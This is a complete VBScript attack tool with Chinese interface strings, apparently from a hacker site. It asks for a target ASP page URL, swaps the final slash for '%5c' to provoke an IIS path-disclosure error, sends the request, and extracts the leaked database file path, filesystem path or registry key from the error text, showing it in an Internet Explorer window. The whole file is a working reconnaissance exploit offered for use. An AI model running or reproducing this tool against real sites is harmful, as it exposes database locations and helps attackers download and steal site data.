Dim xStatus,tStatus,vServer,vHeader,vRsBody GetError=InputBox("请输入网站,例如:http://www.hackerxfiles.com/files/list.asp?id=415","请输入网址","http://www.hackerxfiles.com/files/list.asp?id=415") If GetError = "" Then MsgBox("输入错误，程序结束！") WScript.Quit End If
GetError=StrReverse(GetError) Tem2=0 For I=1 To Len(GetError) If Mid(GetError,I,1) = Chr(47) And Tem2=0 Then Temp=Temp & "c5%" Tem2=Tem2+1 Else Temp=Temp & Mid(GetError,I,1) End If Next GetError=StrReverse(Temp)
Call xmlPost(GetError) ErrorText = vServer & " " & xStatus BaseSaver = GetStr(vRsBody,"找不到文件 '","'。</font>" & Chr(10)) If BaseSaver="[None]" Then BaseSaver = GetStr(vRsBody,"<font face="&Chr(34)&"宋体"&Chr(34)&" size=2>'","'不是一个有效的路径。") End If If BaseSaver="[None]" Then BaseSaver = GetStr(vRsBody,"打开注册表关键字 '","'。</font>") End If
If BaseSaver = "[None]" Then AllReturn= "<TITLE>Mappath出错获取数据库地址 Lilo</TITLE><Body scroll='no' bgcolor='menu' style='border:0pt;margin-left:5pt'><B>" & ErrorText & "</B><BR><BR><textarea rows='15' name='S1' cols='57'>" &vRsBody& "</textarea>" Else AllReturn= "<TITLE>Mappath出错获取数据库地址 Lilo</TITLE><Body scroll='no' bgcolor='menu' style='border:0pt;margin-left:5pt'><B>" & ErrorText & "</B><BR><BR><textarea rows='15' name='S1' cols='57'>" &BaseSaver& "</textarea>" End If
Call OpenWin(AllReturn) Set WHShell = WScript.CreateObject("WScript.Shell") WHShell.AppActivate "Mappath出错获取数据库地址 Lilo" 'WHShell.SendKeys ("%{TAB}") Set WHShell = Nothing
Function URLEncoding(vstrIn) strReturn = "" For i = 1 To Len(vstrIn) ThisChr = Mid(vStrIn,i,1) If Abs(Asc(ThisChr)) < &HFF Then strReturn = strReturn & ThisChr Else innerCode = Asc(ThisChr) If innerCode < 0 Then innerCode = innerCode + &H10000 End If Hight8 = (innerCode And &HFF00)\ &HFF Low8 = innerCode And &HFF strReturn = strReturn & "%" & Hex(Hight8) & "%" & Hex(Low8) End If Next URLEncoding = strReturn End Function
Function bytes2BSTR(vIn) strReturn = "" For i = 1 To LenB(vIn) ThisCharCode = AscB(MidB(vIn,i,1)) If ThisCharCode < &H80 Then strReturn = strReturn & Chr(ThisCharCode) Else NextCharCode = AscB(MidB(vIn,i+1,1)) strReturn = strReturn & Chr(CLng(ThisCharCode) * &H100 + CInt(NextCharCode)) i = i + 1 End If Next bytes2BSTR = strReturn End Function
Function xmlPost(iURL) On Error Resume Next iPost=URLEncoding(iPost) Set xPost = CreateObject("Microsoft.XMLHTTP") xPost.open "POST",iURL,False xPost.Send xStatus = xPost.Status tStatus = xPost.StatusText vServer = xPost.GetResponseHeader("Server") vHeader = xPost.GetAllResponseHeaders vRsBody = bytes2BSTR(xPost.responseBody) Set xPost = Nothing End Function
Function GetStr(vString,iString,dString) vSum = inStr(vRsBody,iString) If vSum = 0 Then GetStr="[None]" : Exit Function eSum = inStr(vSum,vRsBody,dString) If eSum = 0 Then GetStr="[None]" : Exit Function GetStr = Mid(vRsBody,vSum+Len(iString),eSum-vSum-Len(iString)) End Function
Function IntToStr(vNum,vLen) If Len(vNum) >= vLen Then IntToStr = vNum : Exit Function For I=1 To vLen-Len(vNum) IntToStr=IntToStr & "0" Next IntToStr = IntToStr & CStr(vNum) End Function
Function GetSplit(unStr,vaStr,Mode) aTemp = Split(unStr,vaStr) bTemp = Ubound(aTemp) Select Case Mode Case -1: GetSplit = aTemp Case -2: GetSplit = bTemp End Select If Mode < 0 Then Exit Function If Mode > bTemp Then GetSplit=False : Exit Function If Mode >= 0 Then GetSplit = aTemp(Mode) End Function
Function OpenWin(vTTv) Set IE = WScript.CreateObject("InternetExplorer.Application") IE.Navigate "about:blank" IE.Visible = 1 IE.ToolBar = 0 IE.StatusBar = 0 IE.Width=500 IE.Height=335 Do While (IE.Busy): Loop Set Doc = IE.Document Doc.Open Execute "Doc.Writeln " & Chr(34) & vTTv & Chr(34) Doc.Close Set IE=Nothing End Function
